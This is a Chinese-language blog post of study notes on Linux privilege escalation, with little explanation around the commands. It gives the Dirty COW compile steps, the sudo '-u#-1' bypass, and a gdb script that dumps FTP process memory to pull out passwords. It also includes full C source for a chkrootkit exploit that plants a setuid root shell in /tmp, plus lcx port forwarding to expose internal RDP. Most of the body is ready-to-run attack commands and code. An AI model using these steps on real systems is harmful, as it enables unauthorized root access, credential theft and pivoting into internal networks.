linux提权学习笔记

16 篇文章 2 订阅
3 篇文章 0 订阅
本文详细介绍了Linux系统的提权技术,包括检查内核版本、利用环境变量、SUID文件、内核溢出等方法。还提到了一些工具如linux-exploit-suggester和exploit-db,用于搜索和利用潜在的安全漏洞。同时,讨论了FTP服务内存数据泄露、MySQL UDF提权以及chkrootkit的提权利用。此外,还涉及了内网端口转发的实践操作。
摘要由CSDN通过智能技术生成

linux提权学习笔记

操作系统信息

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal 

PATH

如果您对变量内的任何文件夹具有写入权限,您可能能够劫持一些库或二进制文件:PATH

echo $PATH

环境信息

(env || set) 2>/dev/null

内核版本

cat /proc/version
uname -a
searchsploit "Linux Kernel"

编译的漏洞

github.com/lucyoa/kernel-exploits

github.com/bwbwbwbw/linux-exploit-binaries

github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

可以帮助搜索内核漏洞的工具

https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

CVE-2016-5195(脏牛)

Linux 权限提升 - Linux 内核 <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

searchsploit sudo

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo -V | grep 'Sudo version'    查看是否受影响的版本,低于1.8.29有漏洞
修改配置文件:vim/etc/sudoers 在root(ALL:ALL)ALL添加一行
test ALL=(ALL,!root)ALL
useradd test passwd test
su - test
sudo -u#-1 id -u 或
sudo -u#4294967295 id -u

sudo -u#-1 whoami
sudo -u#-1 sh

检查已安装和未安装的内容、位置

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

枚举有用的二进制文件

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

在这里插入图片描述

检查是否安装了任何编译器

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

检查已安装包和服务的版本

dpkg -l #Debian
rpm -qa #Centos

可以使用openVAS检查机器内安装的过时和易受攻击的软件

查看正在执行的进程并检查是否有任何进程具有****比它应有的更多权限

ps aux
ps -ef
top -n 1

有权访问 FTP 服务的内存

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings 信息过程映射
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #用户和密码

gdb脚本

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
    | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    | while read start stop; do \
    gdb --batch --pid $1 -ex \
    "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

内核溢出提权

查看内核
uname -r
反弹shell执行命令
上传exp
编译
执行
根据内核版本查找对应漏洞
收集exp
可以从www.exploit-db.com查找漏洞利用

linux-exploit-suggerster

https://github.com/mungurk/linux-exploit-suggester.sh/blob/master/linux-exploit-suggester.sh
chmod 777 x.sh
./x.sh

mysql UDF 提权

上传库文件
执行库文件创建命令执行函数

利用SUID提权

寻找系统里可以用的SUID文件来提权
$ find / -perm -u=s -type f 2>/dev/null

利用环境变量劫持高权限程序提权

第一步:查找可操作文件
$ find / -perm -u=s -type f 2>/dev/null
第二步:利用file 命令查看文件是否可执行

•执行该文件

•在执行的时候可能会报错,根据报错来查看调用系统命令

利用chkrootkit <0.49版本提权

1.如果发现Linux服务器存在chkrootkit并且版本小于0.49
2.上传一个利用脚本到/tmp目录下并编译
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
保存为update.c
进入到/tmp目录下
gcc -o update  update.c
然后等着管理员运行chkrootkit命令检测系统后门
在发现/tmp/update 所有者会变成root
这时候你在进入/tmp运行update
./update

内网端口转发

内网主机输入命令
lcx.exe -slave 外网ip 外网端口  内网ip   内网端口
lcx.exe -slave 200.1.1.1  1111    192.168.1.2  3389

外网主机输入命令
lcx.exe  -listen 1111  1311

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值